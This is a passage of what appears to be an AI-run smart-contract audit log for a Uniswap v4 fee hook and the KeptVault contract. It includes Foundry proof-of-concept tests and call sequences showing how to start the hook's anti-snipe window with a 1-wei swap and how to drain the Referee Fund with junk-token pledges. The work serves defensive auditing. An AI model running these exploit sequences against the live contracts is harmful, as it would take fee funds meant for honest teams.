1e27);\n        assertEq(hook.feeNow(), 2000, \"the first real trade must pay the 20% opening fee\");\n    }\n}","reproduction":"State: local PoolManager; KeptHook at a 0x20cc address with (manager, IMD, KEPT, vault, factory = test); the factory has called initialize(key{KEPT/IMD, fee 12500, spacing 60, hooks = hook}, sqrtPrice 2^96) and has NOT added liquidity (getLiquidity == 0). Attacker holds 1 wei IMD. Call at t = 10_000: PoolManager.swap via any router with SwapParams{zeroForOne: currency0 == IMD, amountSpecified: -1, sqrtPriceLimitX96: getSqrtPriceAtTick(-1200 or +1200)}. Expected (per line 44-45 and README): no IMD moved, hook.openedAt() == 0, hook.feeNow() == 2000 still after vm.warp(11_800) and the factory's seed of 1e27 liquidity. Actual: hook.collected() == 1, the attacker's wei is taken as fee, hook.openedAt() == 10_000, Opened emitted, and after the warp plus seed hook.feeNow() == 100 (1%). forge test --match-path test/scratch/EmptyPoolOpensWindow.t.sol fails with 'a swap that moves no IMD through the pool must not open the window: 10000 != 0'. A 2-wei swap does not trigger it (fill 0 != budget - reserve 1 gives fee 0).","severity":"medium","snippet":"            fee = requested == budget && fill == budget - reserve ? reserve : _feeOf(fill, rate, BPS - rate);","title":"A 1-wei exact-input IMD swap on the empty pool is charged and starts the 30-minute opening window before any liquidity exists"},{"citation":"resolved","description":"Merged from audit_permissions and audit_economics (both medium): one root cause. Every IMD the hook collects is swept into KeptVault.refereeFund, whose only outflow is the rebate on line 380-385: when a milestone's check comes back kept, inFlightPrice moves from refereeFund into the pledge budget, and withdrawBudget (line 428-437) later returns that budget to the pledge creator. Nothing ties the rebate to value at stake or to a non-trivial question: createPledge (line 211) accepts any ERC-20 (a self-minted token, 1 wei per milestone), any beneficiary (the creator), up to 8 milestones, checks open at creation (line 285), and Questions.validate (Questions.sol line 49-52) accepts ContractDeployed for any nonzero target on a supported chain, including addresses that already have code (the vault itself). The honest oracle answers true, the rebate fires, and the same 0.5 IMD float buys the next check. End state per milestone: the attacker's IMD is unchanged, the Intake/oracle operator received the price, refereeFund fell by the price. Repeating with new pledges (createPledge is permissionless, sweep is permissionless) drains the fund entirely after every sweep, so genuine teams are never rebated and the hook's whole fee stream becomes a subsidy to whoever is paid for checks; a panel operator has a direct incentive. KeptVault is live at 0x3152f9cb... and immutable in this respect, so this is a decision for the hook launch rather than a vault patch: accept and document the Referee Fund as a public subsidy for oracle checks of kept milestones (the launch text currently says the fees 'pay back the oracle check of every milestone a team keeps'), or point sweep() at a different sink. Rated medium: loss of the fee stream to a party other than the teams it is described as serving, requiring only gas and a reusable float.","line":380,"path":"src/KeptVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {KeptVault} from \"src/KeptVault.sol\";\nimport {OracleAttestation} from \"src/OracleAttestation.sol\";\nimport {Questions} from \"src/libraries/Questions.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract DrainERC20 {\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Behaves like the IMD Intake: pulls exactly the price, later delivers the signed verdict.\ncontract DrainIntake is IIntake {\n    uint256 public constant PRICE = 0.5 ether;\n    address public immutable treasury;\n    uint256 public nonce;\n    mapping(bytes32 => Callback) public callbacks;\n\n    constructor(address t) {\n        treasury = t;\n    }\n\n    function priceOf(bytes32, address) external pure returns (uint256) {\n        return PRICE;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata cb, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32 id)\n    {\n        require(amount >= PRICE, \"PriceNotMet\");\n        IERC20(asset).transferFrom(msg.sender, treasury, amount);\n        id = keccak256(abi.encode(address(this), ++nonce));\n        callbacks[id] = cb;\n    }\n\n    function deliver(bytes32 id, OracleAttestation.Attestation calldata a, bytes calldata sig) external {\n        Callback memory c = callbacks[id];\n        (bool ok, bytes memory reason) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, id, a, sig));\n        if (!ok) {\n            assembly (\"memory-safe\") {\n                revert(add(reason, 32), mload(reason))\n            }\n        }\n    }\n}\n\n/// @title Anyone moves the Referee Fund (the hook's only fee sink) to the oracle at zero net cost.\n/// @notice A pledge on 1 wei of a self-minted token, with a ContractDeployed milestone that is\n/// already true at creation, is honestly answered kept; the rebate pays the check out of the\n/// Referee Fund and withdrawBudget hands it back to the creator. Fails on the current code\n/// (refereeFund 100 -> 99.5 IMD); passes once such a pledge no longer draws a rebate.\ncontract RefereeFundSybilDrainTest is Test {\n    bytes32 internal constant ACTION = 0x6f7261636c652e72657175657374406f7261636c652d31000000000000000000;\n    uint64 internal constant T0 = 1_791_000_000;\n\n    KeptVault internal vault;\n    DrainIntake internal intake;\n    DrainERC20 internal imd;\n    DrainERC20 internal junk;\n    uint256 internal signerKey = 0xA11CE;\n    address internal signer;\n    address internal oracleTreasury = makeAddr(\"oracleTreasury\");\n    address internal hookLike = makeAddr(\"hook\");\n    address internal attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        vm.warp(T0);\n        signer = vm.addr(signerKey);\n        imd = new DrainERC20();\n        junk = new DrainERC20();\n        intake = new DrainIntake(oracleTreasury);\n        vault = new KeptVault(makeAddr(\"owner\"), address(intake), address(imd), ACTION, signer, 9, 7);\n\n        // The hook's swept fees: 100 IMD in the Referee Fund.\n        imd.mint(hookLike, 100 ether);\n        vm.startPrank(hookLike);\n        imd.approve(address(vault), type(uint256).max);\n        vault.fundReferee(100 ether);\n        vm.stopPrank();\n\n        // The attacker holds one check price of IMD and one wei of a worthless token.\n        imd.mint(attacker, 0.5 ether);\n        junk.mint(attacker, 1);\n        vm.startPrank(attacker);\n        imd.approve(address(vault), type(uint256).max);\n        junk.approve(address(vault), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function digestOf(OracleAttestation.Attestation calldata a) external view returns (bytes32) {\n        return vault.attestationDigest(a);\n    }\n\n    function _keptVerdict(uint256 id, uint8 index, bytes32 requestId) internal {\n        (,,,,,,,, uint64 askedAt) = vault.milestone(id, index);\n        OracleAttestation.Attestation memory a;\n        a.requestId = keccak256(abi.encode(id, index));\n        a.chainId = 4663;\n        a.questionHash = keccak256(\"question\");\n        a.answerType = OracleAttestation.ANSWER_BOOL;\n        a.answer = abi.encode(true);\n        a.fromBlock = 1;\n        a.toBlock = 2;\n        a.blockHash = keccak256(\"block\");\n        a.panelJobId = keccak256(\"panel\");\n        a.panelSize = 9;\n        a.quorum = 7;\n        a.agreed = 9;\n        a.issuedAt = askedAt;\n        a.expiresAt = askedAt + 1 days;\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, this.digestOf(a));\n        intake.deliver(requestId, a, abi.encodePacked(r, s, v));\n    }\n\n    function test_alreadyTrueJunkPledgeMustNotDrawARebate() public {\n        assertEq(vault.refereeFund(), 100 ether);\n\n        KeptVault.MilestoneInput[] memory ms = new KeptVault.MilestoneInput[](1);\n        ms[0].kind = Questions.Kind.ContractDeployed;\n        ms[0].deadline = uint64(block.timestamp + 1 hours);\n        ms[0].amount = 1;\n        ms[0].chainId = 4663;\n        ms[0].target = address(vault); // already deployed: true before the pledge exists\n        ms[0].title = \"already true\";\n        vm.prank(attacker);\n        uint256 id = vault.createPledge(IERC20(address(junk)), attacker, \"sybil\", ms, 0.5 ether);\n\n        vm.prank(attacker);\n        bytes32 rid = vault.check(id, 0);\n        assertEq(imd.balanceOf(oracleTreasury), 0.5 ether, \"the oracle was paid the check\");\n        _keptVerdict(id, 0, rid);\n\n        // The rebate is what moves hook fees out of the fund; after it, withdrawBudget returns the\n        // float to the attacker, who ends with exactly the IMD it started with.\n        assertEq(vault.refereeFund(), 100 ether, \"an already-true junk pledge must not draw a rebate\");\n    }\n}","reproduction":"State: KeptVault with an honest Intake quoting 0.5 IMD and an honest signer; refereeFund = 100 IMD (swept from the hook). Attacker holds 0.5 IMD and 1 wei of a self-minted ERC-20 JUNK. Calls: (1) attacker: createPledge(JUNK, attacker, 'sybil', [{kind: ContractDeployed, chainId: 4663, target: address(vault), amount: 1, deadline: now + 1h, title: 'already true'}], 0.5e18). (2) attacker: check(id, 0): 0.5 IMD goes to the Intake treasury. (3) The Intake delivers the oracle's signed attestation (chainId 4663, panel 9/7, agreed 9, answer true, issuedAt = askedAt) to onOracleResult. Expected for a fund described as rebating milestones a team keeps: refereeFund stays 100 IMD. Actual: refereeFund == 99.5 IMD, p.budget == 0.5 IMD; settle(id,0) returns the JUNK wei and withdrawBudget(id) returns 0.5 IMD to the attacker, whose IMD balance is back at 0.5. With 8 milestones per pledge the specialists' run drains 4 IMD per pledge. forge test --match-path test/scratch/RefereeFundSybilDrain.t.sol fails with 'an already-true junk pledge must not draw a rebate: 99500000000000000000 != 100000000000000000000'.","severity":"medium","snippet":"        if (price != 0 && refereeFund >= price) {","title":"Referee Fund (the hook's only fee sink) can be moved to the oracle by anyone at zero net cost with junk-token pledges whose milestones are already true"},{"citation":"resolved","description":"From audit_permissions (low), kept as a privileged trust assumption, not a bypass. The hook has no owner and its vault address is immutable, but the fee destination is the live KeptVault whose owner() I read on Robinhood Chain today: 0xD3336A7c8a7D8814C437196aBb16c4FE7aA7B016, with no code (an EOA); refereeFund() read 0 at the time. proposeProtocol (line 558) lets that key name a new Intake, action and signer; after PROTOCOL_DELAY (7 days) executeProtocol (line 574) applies it, and no path lets swappers or the hook object. With an owner-controlled Intake quoting price = refereeFund and an owner-held signer, one check on an owner pledge is answered kept and rebated for the full fund, which withdrawBudget pays to the owner. In-flight checks are protected by the inFlightIntake/inFlightSigner snapshots, but the fund balance itself is not capped per rebate (line 380 rebates any price the Intake quoted). README.md line 87-90 discloses the owner's protocol power generally; the hook launch text presents the hook as ownerless and should state that the fees it collects are custodied under this single key with a 7-day public notice. No code change is required unless the requester wants the rebate capped (e.g. at DEFAULT_MAX_PRICE) in a future vault.","line":574,"path":"src/KeptVault.sol","reproduction":"State: refereeFund = 100 IMD from sweeps; owner key K. (1) Owner deploys OwnerIntake whose priceOf returns 100e18 and whose request() forwards the IMD to the owner; proposeProtocol(OwnerIntake, ACTION, address(K)). (2) vm.warp(+7 days); anyone calls executeProtocol(). (3) Owner: createPledge(JUNK, owner, 'x', [ContractDeployed target = vault, amount 1, deadline now + 1h], budget 100e18); check(id, 0, 100e18) sends 100 IMD to the owner through OwnerIntake. (4) OwnerIntake delivers an attestation signed by K with answer true, issuedAt = askedAt: line 380-383 moves 100 IMD from refereeFund into p.budget. (5) settle(id, 0); withdrawBudget(id) pays 100 IMD to the owner. Expected for a fee recipient described as ownerless: refereeFund stays 100 IMD. Actual: refereeFund == 0, owner IMD +100 (the 100 IMD budget it put in came back through its own Intake in step 3).","severity":"low","snippet":"    function executeProtocol() external {","title":"Trust assumption: the ownerless hook pays every fee into a Referee Fund that the vault's EOA owner can take whole after one 7-day protocol change"}],"hash":"52ea03b8ef641d6d157e4cb1ed72634e1a7ecfbd3718ec9f33d0789fcf8b9fb2","nodeId":"22136e0f-014b-488c-8cde-dd96fac1a408","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds three findings with a 25-row coverage record. No tracked file was changed; only the findings file and my scratch tests under `test/scratch/` were written.\n\n**What I kept, after reproducing each against the code**\n\n1. **Medium, `src/KeptHook.sol:144`.** A 1-wei exact-input IMD swap on the empty pool charges 1 wei and starts the 30-minute opening window. Three specialists reported this; I merged them into one finding. The reserve rounds up to 1, the quote is 0, the fill shortcut treats 0 == 0 as a full fill, and the PoolManager swaps nothing. This breaks the hook's own comment at lines 44 to 45 and the README guarantee that liquidity seeded after initialization still opens at 20%. Loss is conditional on the factory seeding liquidity in a later transaction than initialize. The specialists' proofs would not pass after a fix, since one asserts the buggy fee and one contradicts itself, so I wrote a proof that asserts only `openedAt` and `feeNow`. It fails now with `10000 != 0`.\n\n2. **Medium, `src/KeptVault.sol:380`.** Anyone can move the Referee Fund, the hook's only fee sink, to the oracle operator at zero net cost. A pledge on 1 wei of a self-minted token with a ContractDeployed milestone that is already true is honestly answered kept, rebated from the fund, and returned through `withdrawBudget`. Two specialists reported this; merged. The vault is live and immutable here, so this is a launch decision: document the fund as a public subsidy or point `sweep()` elsewhere. My proof fails with `99.5 IMD != 100 IMD`.\n\n3. **Low, `src/KeptVault.sol:574`.** Trust assumption. I confirmed on chain that the live vault's owner is an EOA with no code. After one 7-day protocol change that key can take the whole fund through an owner Intake and signer. The launch text should disclose that the ownerless hook's fees are custodied under this key.\n\n**Dropped.** The economics note about a hookless KEPT/IMD pool avoiding the fee is an accurate design property, not a defect.\n\n**My own pass.** I traced both swap legs, the exact-out fee identity, sweep and unlock reentrancy, the factory-only initialize, the manifest against the constructor and permissions, and every vault entry point the flow specialist could not verify. I found nothing further. The committed suite passes with 199 tests and the fork suite skipped offline.","treeHash":null,"usage":{"cachedInputTokens":1200392,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":41204,"runtime":"claude","turns":31,"wallClockMs":934850}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"934ef01306a3cc89","findings":[{"citation":"resolved","description":"beforeSwap treats a quote that is fully 'filled' as a full fill even when the quote itself is zero. For exact-in IMD of 1 wei at the 20% opening rate: budget = 1, reserve = ceil(1*2000/10000) = 1, quote.amountSpecified = -(1-1) = 0, SpecifiedAmount.filled returns 0 (its loop never runs), and 0 == budget - reserve, so fee = reserve = 1. _accrue(1) then sets openedAt = block.timestamp (line 173-174). The PoolManager meanwhile receives amountToSwap = -1 + 1 = 0 and returns ZERO_DELTA without touching the pool, so no IMD moved through the pool at all. The hook's own invariant (line 44-45: 'Zero until then, so the opening window cannot elapse before the pool holds liquidity anyone can trade against'), README.md ('liquidity seeded after initialization still opens at 20%') and VERIFICATION.md ('an empty-pool swap does not start it') are all false for this input; the existing test test_openingClockNeedsAnIMDLeg only tries 1e18 wei, where fill (0) != budget - reserve (8e17) and the fee is 0. Economics: the factory initializes the pool and, per README, may seed liquidity in a later transaction. Anyone holding 1 wei of IMD can call swap(exact-in 1 wei) in the block after initialize, which costs 1 wei plus gas and starts the decay. If the seed lands 30 minutes or more later, feeNow() is already 100 (1%) when real trading opens; a 1,000 IMD opening buy then pays 10 IMD to the Referee Fund instead of 200 IMD. Snipers keep the 19% difference; the Referee Fund (the sole fee beneficiary) loses it. Even a shorter gap reduces the opening fee proportionally (e.g. a 15-minute gap opens at 10.5%). Where the factory seeds atomically with initialize the window cannot be pre-started, so the impact depends on the factory's launch sequence, which the repository documents as non-atomic. Fix: start the window only when the pool actually moved IMD, e.g. in beforeSwap return a zero delta when `fill == 0` (or when poolManager.getLiquidity(key.toId()) == 0), or in _accrue set openedAt only when the pool's swap amount is nonzero. Keep the ceil-rounding for nonzero fills so the 1-wei dust rule on a live pool is unchanged.","line":144,"path":"src/KeptHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IERC20Minimal} from \"v4-core/src/interfaces/external/IERC20Minimal.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {KeptToken} from \"src/KeptToken.sol\";\nimport {KeptHook} from \"src/KeptHook.sol\";\n\ncontract ScratchERC20 {\n    string public constant name = \"IMD\";\n    string public constant symbol = \"IMD\";\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Minimal router: swaps or adds liquidity, then settles exactly what the manager reports.\ncontract ScratchRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(p))), (BalanceDelta));\n    }\n\n    function seed(PoolKey memory key, int24 lower, int24 upper, int256 liquidity) external {\n        ModifyLiquidityParams memory p = ModifyLiquidityParams(lower, upper, liquidity, bytes32(0));\n        manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(p)));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"manager only\");\n        (uint8 action, address payer, PoolKey memory key, bytes memory payload) =\n            abi.decode(data, (uint8, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (action == 0) {\n            delta = manager.swap(key, abi.decode(payload, (SwapParams)), \"\");\n        } else {\n            (delta,) = manager.modifyLiquidity(key, abi.decode(payload, (ModifyLiquidityParams)), \"\");\n        }\n        _settle(key.currency0, delta.amount0(), payer);\n        _settle(key.currency1, delta.amount1(), payer);\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, int128 delta, address payer) private {\n        if (delta < 0) {\n            manager.sync(c);\n            require(\n                IERC20Minimal(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(delta))),\n                \"transfer\"\n            );\n            manager.settle();\n        } else if (delta > 0) {\n            manager.take(c, payer, uint128(delta));\n        }\n    }\n}\n\n/// @title A 1-wei IMD swap on the empty pool starts the anti-snipe window before liquidity exists.\n/// @notice Fails on the current KeptHook: `openedAt` is set by a swap the pool did not execute\n/// (amountToSwap == 0), so the 20% opening fee decays to 1% before the factory seeds liquidity.\ncontract EmptyPoolOpensWindowTest is Test {\n    uint160 internal constant ONE = 79228162514264337593543950336;\n    uint256 internal constant T0 = 10_000;\n\n    IPoolManager internal manager;\n    KeptToken internal kept;\n    ScratchERC20 internal imd;\n    KeptHook internal hook;\n    ScratchRouter internal router;\n    PoolKey internal key;\n    address internal attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        vm.warp(T0);\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        kept = new KeptToken();\n        imd = new ScratchERC20();\n        address at = address(uint160(0x5c7a7c480000000000000000000000000000) << 14 | uint160(0x20cc));\n        deployCodeTo(\n            \"KeptHook.sol:KeptHook\",\n            abi.encode(manager, address(imd), address(kept), address(0xBEEF), address(this)),\n            at\n        );\n        hook = KeptHook(at);\n        bool imd0 = address(imd) < address(kept);\n        key = PoolKey(\n            Currency.wrap(imd0 ? address(imd) : address(kept)),\n            Currency.wrap(imd0 ? address(kept) : address(imd)),\n            12500,\n            60,\n            IHooks(at)\n        );\n        // The factory (this test) initializes the pool. Liquidity is seeded in a later transaction,\n        // the sequence README.md and VERIFICATION.md describe (\"liquidity seeded after initialization\").\n        manager.initialize(key, ONE);\n        router = new ScratchRouter(manager);\n        imd.mint(address(this), 1e30);\n        imd.approve(address(router), type(uint256).max);\n        kept.approve(address(router), type(uint256).max);\n        imd.mint(attacker, 1);\n        vm.prank(attacker);\n        imd.approve(address(router), type(uint256).max);\n    }\n\n    function test_oneWeiSwapOnEmptyPoolMustNotOpenTheWindow() public {\n        assertEq(hook.openedAt(), 0);\n        assertEq(hook.feeNow(), 2000);\n\n        // Attacker: exact-in 1 wei of IMD against a pool with zero liquidity, right after initialize.\n        SwapParams memory p;\n        p.zeroForOne = key.currency0 == Currency.wrap(address(imd));\n        p.amountSpecified = -1;\n        p.sqrtPriceLimitX96 = TickMath.getSqrtPriceAtTick(p.zeroForOne ? int24(-1200) : int24(1200));\n        vm.prank(attacker);\n        router.swap(key, p);\n\n        // The pool executed no swap (amountToSwap was 0), yet the hook charged 1 wei and started the clock.\n        assertEq(imd.balanceOf(attacker), 0, \"the attacker's whole wei was taken as fee\");\n        assertEq(hook.openedAt(), 0, \"a swap that moves no IMD through the pool must not open the window\");\n\n        // Thirty minutes later the factory seeds liquidity: the opening fee should still be 20%.\n        vm.warp(T0 + 1800);\n        router.seed(key, -600, 600, 1e27);\n        assertEq(hook.feeNow(), 2000, \"the first real trade must pay the 20% opening fee\");\n    }\n}","reproduction":"State: KeptHook deployed with factory F; F calls PoolManager.initialize(key, sqrtPrice) and has not yet added liquidity (pool liquidity == 0). Attacker holds 1 wei IMD. Call: PoolManager.swap(key, SwapParams{zeroForOne: (currency0 == IMD), amountSpecified: -1, sqrtPriceLimitX96: far limit}) through any router. Expected (per README/VERIFICATION/hook comment): the pool moves no IMD, fee = 0, hook.openedAt() stays 0, feeNow() stays 2000 until the first real trade. Actual: hook.collected() == 1, the attacker's wei is taken as fee, hook.openedAt() == block.timestamp, and after vm.warp(+1800) and the factory's seed, hook.feeNow() == 100. Run: forge test --match-path test/scratch/EmptyPoolOpensWindow.t.sol (fails on current code with 'a swap that moves no IMD through the pool must not open the window: 10000 != 0').","severity":"medium","snippet":"            fee = requested == budget && fill == budget - reserve ? reserve : _feeOf(fill, rate, BPS - rate);","title":"A 1-wei exact-in IMD swap on the empty pool charges a fee and starts the 30-minute anti-snipe window before any liquidity exists"},{"citation":"resolved","description":"Every IMD the hook collects (20%->1% of all KEPT/IMD swap volume) is swept into KeptVault.refereeFund, whose only outflow is this rebate: when a milestone is verified kept, the price of the check that proved it moves from refereeFund into the pledge's budget, and withdrawBudget later returns the budget to the pledge creator. Nothing ties the rebate to a pledge that locks value or asks a non-trivial question: createPledge accepts any ERC-20 (a self-minted token, 1 wei per milestone), any beneficiary (the creator), up to 8 milestones, and Questions.validate accepts ContractDeployed for any nonzero target on chain 4663, including addresses that already have code (the vault, the Intake; the repository's own fork test uses 'Intake is deployed'). Checks may be bought immediately at creation ('Checks open at creation to prove early delivery'). Trace: createPledge(junk, attacker, 8 x ContractDeployed(vault), budget = price) -> check(id,i) pays `price` to the Intake -> the honest oracle answers kept (the statement is true) -> onOracleResult moves `price` from refereeFund to p.budget -> the same float buys the next check -> settle(id,i) returns the junk wei -> withdrawBudget returns the float. End state: the attacker's IMD is unchanged, the Intake/oracle received 8 x price, refereeFund fell by 8 x price. Repeating with new pledges drains the fund entirely. Economics: cost to the attacker is gas plus a one-check float (0.5 IMD) that it gets back; who profits is whoever is paid for checks (the IMD oracle panel, so a panel operator has a direct incentive), and what is lost is the entire fee stream the launch exists to collect, which honest teams then cannot be rebated from. The vault is live at 0x3152f9cb... and immutable in this respect, so the launch's economic promise ('every fee ... pays back the oracle check of every milestone a team keeps') does not hold against an adversary; the author must decide whether to accept it (document the fund as a public subsidy for oracle checks), gate rebates (e.g. minimum locked value in a whitelisted token, or only rebate milestones whose deadline had not passed at creation by less than the lead time), or point the hook's sweep at a different sink. The owner-selected signer trust assumption already documented is a separate, stronger version of the same drain.","line":380,"path":"src/KeptVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {KeptVault} from \"src/KeptVault.sol\";\nimport {OracleAttestation} from \"src/OracleAttestation.sol\";\nimport {Questions} from \"src/libraries/Questions.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract DrainERC20 {\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Behaves like the IMD Intake: pulls exactly the price, later delivers the signed verdict.\ncontract DrainIntake is IIntake {\n    uint256 public constant PRICE = 0.5 ether;\n    address public immutable treasury;\n    uint256 public nonce;\n    mapping(bytes32 => Callback) public callbacks;\n\n    constructor(address t) {\n        treasury = t;\n    }\n\n    function priceOf(bytes32, address) external pure returns (uint256) {\n        return PRICE;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata cb, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32 id)\n    {\n        require(amount >= PRICE, \"PriceNotMet\");\n        IERC20(asset).transferFrom(msg.sender, treasury, amount);\n        id = keccak256(abi.encode(address(this), ++nonce));\n        callbacks[id] = cb;\n    }\n\n    function deliver(bytes32 id, OracleAttestation.Attestation calldata a, bytes calldata sig) external {\n        Callback memory c = callbacks[id];\n        (bool ok, bytes memory reason) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, id, a, sig));\n        if (!ok) {\n            assembly (\"memory-safe\") {\n                revert(add(reason, 32), mload(reason))\n            }\n        }\n    }\n}\n\n/// @title Anyone drains the Referee Fund to the oracle at zero net cost with sybil pledges.\n/// @notice The fund the KEPT hook feeds is rebated to any pledge whose milestone is verified kept.\n/// A pledge on a worthless self-minted token with a trivially-true milestone (ContractDeployed at an\n/// address that already has code) is kept by construction; the rebate lands in the attacker's budget\n/// and withdrawBudget returns it. Net for the attacker: 0 IMD; Referee Fund: -price per milestone.\ncontract RefereeFundSybilDrainTest is Test {\n    bytes32 internal constant ACTION = 0x6f7261636c652e72657175657374406f7261636c652d31000000000000000000;\n    uint64 internal constant T0 = 1_791_000_000;\n\n    KeptVault internal vault;\n    DrainIntake internal intake;\n    DrainERC20 internal imd;\n    DrainERC20 internal junk;\n    uint256 internal signerKey = 0xA11CE;\n    address internal signer;\n    address internal oracleTreasury = makeAddr(\"oracleTreasury\");\n    address internal hookLike = makeAddr(\"hook\");\n    address internal attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        vm.warp(T0);\n        signer = vm.addr(signerKey);\n        imd = new DrainERC20();\n        junk = new DrainERC20();\n        intake = new DrainIntake(oracleTreasury);\n        vault = new KeptVault(makeAddr(\"owner\"), address(intake), address(imd), ACTION, signer, 9, 7);\n\n        // The hook's swept fees: 100 IMD sitting in the Referee Fund.\n        imd.mint(hookLike, 100 ether);\n        vm.startPrank(hookLike);\n        imd.approve(address(vault), type(uint256).max);\n        vault.fundReferee(100 ether);\n        vm.stopPrank();\n\n        // The attacker owns nothing but gas money and a float equal to one check price.\n        imd.mint(attacker, 0.5 ether);\n        junk.mint(attacker, 8);\n        vm.startPrank(attacker);\n        imd.approve(address(vault), type(uint256).max);\n        junk.approve(address(vault), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function digestOf(OracleAttestation.Attestation calldata a) external view returns (bytes32) {\n        return vault.attestationDigest(a);\n    }\n\n    function _keptVerdict(uint256 id, uint8 index, bytes32 requestId) internal {\n        (,,,,,,,, uint64 askedAt) = vault.milestone(id, index);\n        OracleAttestation.Attestation memory a;\n        a.requestId = keccak256(abi.encode(id, index));\n        a.chainId = 4663;\n        a.questionHash = keccak256(\"question\");\n        a.answerType = OracleAttestation.ANSWER_BOOL;\n        a.answer = abi.encode(true);\n        a.fromBlock = 1;\n        a.toBlock = 2;\n        a.blockHash = keccak256(\"block\");\n        a.panelJobId = keccak256(\"panel\");\n        a.panelSize = 9;\n        a.quorum = 7;\n        a.agreed = 9;\n        a.issuedAt = askedAt;\n        a.expiresAt = askedAt + 1 days;\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, this.digestOf(a));\n        intake.deliver(requestId, a, abi.encodePacked(r, s, v));\n    }\n\n    function test_sybilPledgeDrainsRefereeFundAtZeroNetCost() public {\n        uint256 fundBefore = vault.refereeFund();\n        uint256 attackerBefore = imd.balanceOf(attacker);\n        assertEq(fundBefore, 100 ether);\n\n        // One pledge, eight milestones, each 'ContractDeployed at the vault itself' (already true),\n        // locked token: 1 wei of a worthless self-minted ERC-20 each, beneficiary = attacker.\n        KeptVault.MilestoneInput[] memory ms = new KeptVault.MilestoneInput[](8);\n        for (uint256 i; i < 8; ++i) {\n            ms[i].kind = Questions.Kind.ContractDeployed;\n            ms[i].deadline = uint64(block.timestamp + 1 